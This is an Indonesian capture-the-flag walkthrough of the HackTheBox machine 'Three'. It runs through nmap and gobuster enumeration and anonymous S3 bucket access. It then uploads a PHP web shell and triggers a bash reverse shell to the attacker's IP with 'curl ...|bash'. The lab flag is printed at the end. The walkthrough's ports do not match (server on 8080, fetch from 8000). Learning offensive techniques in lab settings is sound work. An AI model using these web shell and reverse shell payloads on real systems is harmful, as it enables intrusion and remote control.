Three merupakan mesin Tier 1 dari seri starting pooint pada platform HackTheBox. Untuk menyelesaikan tantangan ini, saya menggunakan beberapa tools yaitu: Nmap, Gobuster, dan awscli
Reconnaissance
Hal pertama yanng harus kita lakukan adalah melakukan enumerasi open port dan running service pada mesin dengan menggunakan nmap.
└─$ sudo nmap -sV -sC -p- -T4 10.129.121.19[sudo] password for w1thre:Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-10 13:12 WIBStats: 0:03:54 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth ScanSYN Stealth Scan Timing: About 50.75% done; ETC: 13:20 (0:03:33 remaining)Nmap scan report for 10.129.121.19Host is up (0.26s latency).Not shown: 65533 closed tcp ports (reset)PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:| 2048 17:8b:d4:25:45:2a:20:b8:79:f8:e2:58:d7:8e:79:f4 (RSA)| 256 e6:0f:1a:f6:32:8a:40:ef:2d:a7:3b:22:d1:c7:14:fa (ECDSA)|_ 256 2d:e1:87:41:75:f3:91:54:41:16:b7:2b:80:c6:8f:05 (ED25519)80/tcp open http Apache httpd 2.4.29 ((Ubuntu))|_http-title: The Toppers|_http-server-header: Apache/2.4.29 (Ubuntu)Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 836.42 secondsAnalyze Scan Result
- Port 22 menjalankan service
OpenSSH7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0) - Port 80 menjalankan service http dengan web server
Apachehttpd 2.4.29 ((Ubuntu))
Checking the Website
Kita coba check hal yang menarik dalam website ini. Terdapat domain untuk website ini yang nanti nya kita bakal tambahkan ke /etc/hosts

Disini langsung aja kita tambahkan domain tersebut ke /etc/host kita
sudo echo "10.129.121.19 thetoppers.htb" | sudo tee -a /etc/hostsSetelah melakukan explorasi terhadap website, tidak ditemukan hal yang menarik. Maka dari itu kita akan melakukan sub domain enumeration.
Subdomain Enumeration using Gobuster
Disini kita akan melakukan enumerasi sub domain untuk melihat apakah ada sub domain dalam website ini menggunakan tools gobuster.
└─$ gobuster vhost --append-domain -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://thetoppers.htb===============================================================Gobuster v3.6by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)===============================================================[+] Url: http://thetoppers.htb[+] Method: GET[+] Threads: 10[+] Wordlist: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt[+] User Agent: gobuster/3.6[+] Timeout: 10s[+] Append Domain: true===============================================================Starting gobuster in VHOST enumeration mode===============================================================Found: s3.thetoppers.htb Status: 404 [Size: 21]Found: gc._msdcs.thetoppers.htb Status: 400 [Size: 306]Progress: 4989 / 4990 (99.98%)===============================================================Finished===============================================================Terdapat subdomain s3 pada domain tersebut. Kita harus menambahkannya kembali ke /etc/hosts file kita agar website tersebut bisa diakses.
sudo echo "10.129.121.19 s3.thetoppers.htb" | sudo tee -a /etc/hostsKetika dicheck akan menampilkan semacam json status
{"status": "running"}Disini subdomain s3 merupakan subdomain untuk Amazon S3 Bucket. Kita bisa menggunakan tools awscli untuk melakukan interaksi ke service s3 ini. Untuk melakukan instalasi awscli cukup ikuti langkah dibawah ini:
sudo apt install awscliSelanjutnya lakukan konfigurasi awal seperti command dibawah ini:
└─$ aws configureAWS Access Key ID: testAWS Secret Access Key: testDefault region name : testDefault output format : testFoothold
Untuk melakukan pengecekan isi dari S3 ini kita bisa menggunakan command berikut:
└─$ aws --endpoint=http://s3.thetoppers.htb s3 ls s3://thetoppers.htb --no-sign-request PRE images/2025-02-10 13:11:29 0 .htaccess2025-02-10 13:11:29 11952 index.php| Options | Description |
|---|---|
| aws | AWS CLI command |
| —endpoint= | Digunakan untuk menetapkan endpoint service |
| s3 | Untuk menentukan jenis service dari aws |
| ls | Untuk melihat isi file yang ada di S3 Bucket |
| s3://thetoppers.htb | Lokasi S3 Bucket |
| —no-sign-request | Untuk menjalankan perintah tanpa melakukan proses sign request |
Disini kita bisa coba melakukan upload web shell yang nantinya kita bakal gunakan untuk melakukan reverse shell juga. Buat shell.php untuk web shell nya seperti berikut:
<?php if(isset($_REQUEST["cmd"])){ echo "<pre>"; $cmd = ($_REQUEST["cmd"]); system($cmd); echo "</pre>"; die; }?>Disini saya menggunakan web shell dari revshells.com . Untuk melakukan upload web shell tersebut ke S3 Bucket kita cukup menjalankan command berikut:
└─$ aws --endpoint=http://s3.thetoppers.htb s3 cp shell.php s3://thetoppers.htb --no-sign-requestupload: ./shell.php to s3://thetoppers.htb/shell.phpLalu kita bisa akses web shell tersebut pada url seperti berikut:
http://thetoppers.htb/shell.php?cmd=ls
Disini kita sudah berhasil menjalankan web shellnya. Langkah selanjutnya kita harus mendapatkan reverse shell.
Reverse Shell
Buat file shell.sh yang nantinya akan kita gunakan untuk reverse shell.
bash -i >& /dev/tcp/10.10.14.13/1337 0>&1*Catatan: Untuk ip disesuaikan pada ip tun0 (VPN HTB), port dapat disesuaikan dan harus sama dengan netcat nantinya
Selanjutnya jalankan netcat untuk listening port
nc -lnvp 1337Kita harus menjalankan web server lokal dengan menggunakan python web server seperti berikut, dengan tujuan mesin akan melakukan GET request ke host kita untuk menjalankan script shell.sh yang sudah dibuat tadi:
python3 -m http.server 8080Setelah itu jalankan web shell dengan command berikut untuk melakukan trigger terhadap reverse shell kita
http://thetoppers.htb/shell.php?cmd=curl%2010.10.14.13:8000/shell.sh|bashKetika berhasil kita akan mendapatkan reverse shell seperti berikut:
└─$ nc -lnvp 1337listening on [any] 1337 ...connect to [10.10.14.13] from (UNKNOWN) [10.129.121.19] 51960bash: cannot set terminal process group (1510): Inappropriate ioctl for devicebash: no job control in this shellwww-data@three:/var/www/html$Flag
Kita bisa mendapatkan flagnya di /var/www
www-data@three:/var/www/html$ cd ..cd ..www-data@three:/var/www$ lslsflag.txthtmlwww-data@three:/var/www$ cat flag.txtcat flag.txta980d99281a28d638ac68b9bf9453c2bUseful Links
https://thinkport.digital/wp-content/uploads/2023/11/AWS_Cheatsheet.pdf